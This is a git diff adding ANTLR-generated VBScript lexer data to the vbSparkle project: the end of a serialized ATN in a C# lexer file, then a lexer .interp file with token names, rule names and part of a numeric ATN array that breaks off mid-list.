1,0,0,0,1913,1911,1,0,0,0,1913,1912,1,0,0,0,1913,1914,1,0,0,0,1914,426, + 1,0,0,0,1915,1917,2,48,57,0,1916,1915,1,0,0,0,1917,1920,1,0,0,0,1918,1916, + 1,0,0,0,1918,1919,1,0,0,0,1919,1921,1,0,0,0,1920,1918,1,0,0,0,1921,1923, + 3,373,186,0,1922,1924,2,48,57,0,1923,1922,1,0,0,0,1924,1925,1,0,0,0,1925, + 1923,1,0,0,0,1925,1926,1,0,0,0,1926,1939,1,0,0,0,1927,1930,7,4,0,0,1928, + 1931,3,403,201,0,1929,1931,3,393,196,0,1930,1928,1,0,0,0,1930,1929,1,0, + 0,0,1930,1931,1,0,0,0,1931,1933,1,0,0,0,1932,1934,2,48,57,0,1933,1932, + 1,0,0,0,1934,1935,1,0,0,0,1935,1933,1,0,0,0,1935,1936,1,0,0,0,1936,1938, + 1,0,0,0,1937,1927,1,0,0,0,1938,1941,1,0,0,0,1939,1937,1,0,0,0,1939,1940, + 1,0,0,0,1940,1946,1,0,0,0,1941,1939,1,0,0,0,1942,1947,3,383,191,0,1943, + 1947,3,361,180,0,1944,1947,3,377,188,0,1945,1947,3,365,182,0,1946,1942, + 1,0,0,0,1946,1943,1,0,0,0,1946,1944,1,0,0,0,1946,1945,1,0,0,0,1946,1947, + 1,0,0,0,1947,428,1,0,0,0,1948,1950,3,383,191,0,1949,1951,3,453,226,0,1950, + 1949,1,0,0,0,1951,1952,1,0,0,0,1952,1950,1,0,0,0,1952,1953,1,0,0,0,1953, + 430,1,0,0,0,1954,1955,5,38,0,0,1955,1956,5,79,0,0,1956,1958,1,0,0,0,1957, + 1959,7,5,0,0,1958,1957,1,0,0,0,1959,1960,1,0,0,0,1960,1958,1,0,0,0,1960, + 1961,1,0,0,0,1961,1963,1,0,0,0,1962,1964,3,361,180,0,1963,1962,1,0,0,0, + 1963,1964,1,0,0,0,1964,432,1,0,0,0,1965,1967,3,387,193,0,1966,1968,7,6, + 0,0,1967,1966,1,0,0,0,1968,1969,1,0,0,0,1969,1967,1,0,0,0,1969,1970,1, + 0,0,0,1970,1971,1,0,0,0,1971,1973,3,393,196,0,1972,1974,7,6,0,0,1973,1972, + 1,0,0,0,1974,1975,1,0,0,0,1975,1973,1,0,0,0,1975,1976,1,0,0,0,1976,1977, + 1,0,0,0,1977,1979,3,393,196,0,1978,1980,7,6,0,0,1979,1978,1,0,0,0,1980, + 1981,1,0,0,0,1981,1979,1,0,0,0,1981,1982,1,0,0,0,1982,1983,1,0,0,0,1983, + 1985,3,393,196,0,1984,1986,7,6,0,0,1985,1984,1,0,0,0,1986,1987,1,0,0,0, + 1987,1985,1,0,0,0,1987,1988,1,0,0,0,1988,1989,1,0,0,0,1989,1991,3,393, + 196,0,1990,1992,7,6,0,0,1991,1990,1,0,0,0,1992,1993,1,0,0,0,1993,1991, + 1,0,0,0,1993,1994,1,0,0,0,1994,1995,1,0,0,0,1995,1996,3,409,204,0,1996, + 434,1,0,0,0,1997,2001,3,451,225,0,1998,2000,3,453,226,0,1999,1998,1,0, + 0,0,2000,2003,1,0,0,0,2001,1999,1,0,0,0,2001,2002,1,0,0,0,2002,436,1,0, + 0,0,2003,2001,1,0,0,0,2004,2006,3,445,222,0,2005,2004,1,0,0,0,2005,2006, + 1,0,0,0,2006,2007,1,0,0,0,2007,2009,3,449,224,0,2008,2010,3,445,222,0, + 2009,2008,1,0,0,0,2009,2010,1,0,0,0,2010,438,1,0,0,0,2011,2013,3,445,222, + 0,2012,2011,1,0,0,0,2012,2013,1,0,0,0,2013,2018,1,0,0,0,2014,2016,3,441, + 220,0,2015,2017,3,445,222,0,2016,2015,1,0,0,0,2016,2017,1,0,0,0,2017,2019, + 1,0,0,0,2018,2014,1,0,0,0,2019,2020,1,0,0,0,2020,2018,1,0,0,0,2020,2021, + 1,0,0,0,2021,440,1,0,0,0,2022,2023,5,58,0,0,2023,442,1,0,0,0,2024,2026, + 3,445,222,0,2025,2024,1,0,0,0,2025,2026,1,0,0,0,2026,2034,1,0,0,0,2027, + 2035,5,39,0,0,2028,2030,5,58,0,0,2029,2028,1,0,0,0,2029,2030,1,0,0,0,2030, + 2031,1,0,0,0,2031,2032,3,277,138,0,2032,2033,5,32,0,0,2033,2035,1,0,0, + 0,2034,2027,1,0,0,0,2034,2029,1,0,0,0,2035,2039,1,0,0,0,2036,2038,8,7, + 0,0,2037,2036,1,0,0,0,2038,2041,1,0,0,0,2039,2037,1,0,0,0,2039,2040,1, + 0,0,0,2040,2042,1,0,0,0,2041,2039,1,0,0,0,2042,2043,6,221,0,0,2043,444, + 1,0,0,0,2044,2046,7,8,0,0,2045,2044,1,0,0,0,2046,2047,1,0,0,0,2047,2045, + 1,0,0,0,2047,2048,1,0,0,0,2048,446,1,0,0,0,2049,2050,5,32,0,0,2050,2054, + 5,95,0,0,2051,2053,5,32,0,0,2052,2051,1,0,0,0,2053,2056,1,0,0,0,2054,2052, + 1,0,0,0,2054,2055,1,0,0,0,2055,2058,1,0,0,0,2056,2054,1,0,0,0,2057,2059, + 5,13,0,0,2058,2057,1,0,0,0,2058,2059,1,0,0,0,2059,2060,1,0,0,0,2060,2061, + 5,10,0,0,2061,2062,1,0,0,0,2062,2063,6,223,0,0,2063,448,1,0,0,0,2064,2066, + 5,13,0,0,2065,2064,1,0,0,0,2065,2066,1,0,0,0,2066,2067,1,0,0,0,2067,2070, + 5,10,0,0,2068,2070,7,9,0,0,2069,2065,1,0,0,0,2069,2068,1,0,0,0,2070,450, + 1,0,0,0,2071,2072,7,10,0,0,2072,452,1,0,0,0,2073,2074,7,11,0,0,2074,454, + 1,0,0,0,2075,2076,7,12,0,0,2076,456,1,0,0,0,2077,2078,7,13,0,0,2078,458, + 1,0,0,0,2079,2080,7,14,0,0,2080,460,1,0,0,0,2081,2082,7,15,0,0,2082,462, + 1,0,0,0,2083,2084,7,4,0,0,2084,464,1,0,0,0,2085,2086,7,16,0,0,2086,466, + 1,0,0,0,2087,2088,7,17,0,0,2088,468,1,0,0,0,2089,2090,7,18,0,0,2090,470, + 1,0,0,0,2091,2092,7,19,0,0,2092,472,1,0,0,0,2093,2094,7,20,0,0,2094,474, + 1,0,0,0,2095,2096,7,21,0,0,2096,476,1,0,0,0,2097,2098,7,22,0,0,2098,478, + 1,0,0,0,2099,2100,7,23,0,0,2100,480,1,0,0,0,2101,2102,7,24,0,0,2102,482, + 1,0,0,0,2103,2104,7,25,0,0,2104,484,1,0,0,0,2105,2106,7,26,0,0,2106,486, + 1,0,0,0,2107,2108,7,27,0,0,2108,488,1,0,0,0,2109,2110,7,28,0,0,2110,490, + 1,0,0,0,2111,2112,7,29,0,0,2112,492,1,0,0,0,2113,2114,7,30,0,0,2114,494, + 1,0,0,0,2115,2116,7,31,0,0,2116,496,1,0,0,0,2117,2118,7,32,0,0,2118,498, + 1,0,0,0,2119,2120,7,33,0,0,2120,500,1,0,0,0,2121,2122,7,34,0,0,2122,502, + 1,0,0,0,2123,2124,7,35,0,0,2124,504,1,0,0,0,2125,2126,7,36,0,0,2126,506, + 1,0,0,0,39,0,1868,1870,1879,1888,1893,1896,1901,1907,1913,1918,1925,1930, + 1935,1939,1946,1952,1960,1963,1969,1975,1981,1987,1993,2001,2005,2009, + 2012,2016,2020,2025,2029,2034,2039,2047,2054,2058,2065,2069,1,0,1,0 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VBScriptLexer.interp b/Sources/vbSparkle/VBScriptLexer.interp new file mode 100644 index 0000000..cb7042f --- /dev/null +++ b/Sources/vbSparkle/VBScriptLexer.interp @@ -0,0 +1,718 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +':=' +'@' +',' +null +'$' +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'-=' +'*' +'<>' +'%' +'+' +'+=' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +':' +null +null +null + +token symbolic names: +null +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION + +rule names: +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION +NL +LETTER +LETTERORDIGIT +A +B +C +D +E +F +G +H +I +J +K +L +M +N +O +P +Q +R +S +T +U +V +W +X +Y +Z + +channel names: +DEFAULT_TOKEN_CHANNEL +HIDDEN + +mode names: +DEFAULT_MODE + +atn: +[4, 0, 224, 2127, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 2, 163, 7, 163, 2, 164, 7, 164, 2, 165, 7, 165, 2, 166, 7, 166, 2, 167, 7, 167, 2, 168, 7, 168, 2, 169, 7, 169, 2, 170, 7, 170, 2, 171, 7, 171, 2, 172, 7, 172, 2, 173, 7, 173, 2, 174, 7, 174, 2, 175, 7, 175, 2, 176, 7, 176, 2, 177, 7, 177, 2, 178, 7, 178, 2, 179, 7, 179, 2, 180, 7, 180, 2, 181, 7, 181, 2, 182, 7, 182, 2, 183, 7, 183, 2, 184, 7, 184, 2, 185, 7, 185, 2, 186, 7, 186, 2, 187, 7, 187, 2, 188, 7, 188, 2, 189, 7, 189, 2, 190, 7, 190, 2, 191, 7, 191, 2, 192, 7, 192, 2, 193, 7, 193, 2, 194, 7, 194, 2, 195, 7, 195, 2, 196, 7, 196, 2, 197, 7, 197, 2, 198, 7, 198, 2, 199, 7, 199, 2, 200, 7, 200, 2, 201, 7, 201, 2, 202, 7, 202, 2, 203, 7, 203, 2, 204, 7, 204, 2, 205, 7, 205, 2, 206, 7, 206, 2, 207, 7, 207, 2, 208, 7, 208, 2, 209, 7, 209, 2, 210, 7, 210, 2, 211, 7, 211, 2, 212, 7, 212, 2, 213, 7, 213, 2, 214, 7, 214, 2, 215, 7, 215, 2, 216, 7, 216, 2, 217, 7, 217, 2, 218, 7, 218, 2, 219, 7, 219, 2, 220, 7, 220, 2, 221, 7, 221, 2, 222, 7, 222, 2, 223, 7, 223, 2, 224, 7, 224, 2, 225, 7, 225, 2, 226, 7, 226, 2, 227, 7, 227, 2, 228, 7, 228, 2, 229, 7, 229, 2, 230, 7, 230, 2, 231, 7, 231, 2, 232, 7, 232, 2, 233, 7, 233, 2, 234, 7, 234, 2, 235, 7, 235, 2, 236, 7, 236, 2, 237, 7, 237, 2, 238, 7, 238, 2, 239, 7, 239, 2, 240, 7, 240, 2, 241, 7, 241, 2, 242, 7, 242, 2, 243, 7, 243, 2, 244, 7, 244, 2, 245, 7, 245, 2, 246, 7, 246, 2, 247, 7, 247, 2, 248, 7, 248, 2, 249, 7, 249, 2, 250, 7, 250, 2, 251, 7, 251, 2, 252, 7, 252, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 1, 8, 1, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 9, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 10, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 15, 1, 15, 1, 15, 1, 15, 1, 15, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 19, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 21, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 22, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 1, 24, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 25, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 29, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 33, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 34, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 35, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 39, 1, 40, 1, 40, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 42, 1, 43, 1, 43, 1, 43, 1, 43, 1, 43, 1, 44, 1, 44, 1, 44, 1, 44, 1, 44, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 45, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 46, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 47, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 48, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 53, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 54, 1, 55, 1, 55, 1, 55, 1, 55, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 56, 1, 57, 1, 57, 1, 57, 1, 57, 1, 57, 1, 58, 1, 58, 1, 58, 1, 58, 1, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 60, 1, 60, 1, 60, 1, 60, 1, 60, 1, 60, 1, 61, 1, 61, 1, 61, 1, 61, 1, 61, 1, 61, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 67, 1, 67, 1, 67, 1, 67, 1, 67, 1, 67, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 70, 1, 70, 1, 70, 1, 70, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 72, 1, 72, 1, 72, 1, 72, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 73, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 76, 1, 76, 1, 76, 1, 77, 1, 77, 1, 77, 1, 77, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 79, 1, 79, 1, 79, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 81, 1, 81, 1, 81, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 83, 1, 83, 1, 83, 1, 83, 1, 83, 1, 84, 1, 84, 1, 84, 1, 84, 1, 84, 1, 85, 1, 85, 1, 85, 1, 85, 1, 85, 1, 86, 1, 86, 1, 86, 1, 86, 1, 86, 1, 87, 1, 87, 1, 87, 1, 87, 1, 87, 1, 88, 1, 88, 1, 88, 1, 88, 1, 89, 1, 89, 1, 89, 1, 89, 1, 90, 1, 90, 1, 90, 1, 90, 1, 91, 1, 91, 1, 91, 1, 91, 1, 91, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 92, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 93, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 94, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 95, 1, 96, 1, 96, 1, 96, 1, 96, 1, 96, 1, 97, 1, 97, 1, 97, 1, 97, 1, 98, 1, 98, 1, 98, 1, 98, 1, 98, 1, 98, 1, 98, 1, 98, 1, 99, 1, 99, 1, 99, 1, 99, 1, 99, 1, 99, 1, 100, 1, 100, 1, 100, 1, 100, 1, 100, 1, 100, 1, 100, 1, 100, 1, 101, 1, 101, 1, 101, 1, 102, 1, 102, 1, 102, 1, 102, 1, 103, 1, 103, 1, 103, 1, 103, 1, 103, 1, 103, 1, 104, 1, 104, 1, 104, 1, 104, 1, 105, 1, 105, 1, 105, 1, 105, 1, 105, 1, 106, 1, 106, 1, 106, 1, 106, 1, 106, 1, 107, 1, 107, 1, 107, 1, 107, 1, 108, 1, 108, 1, 108, 1, 108, 1, 109, 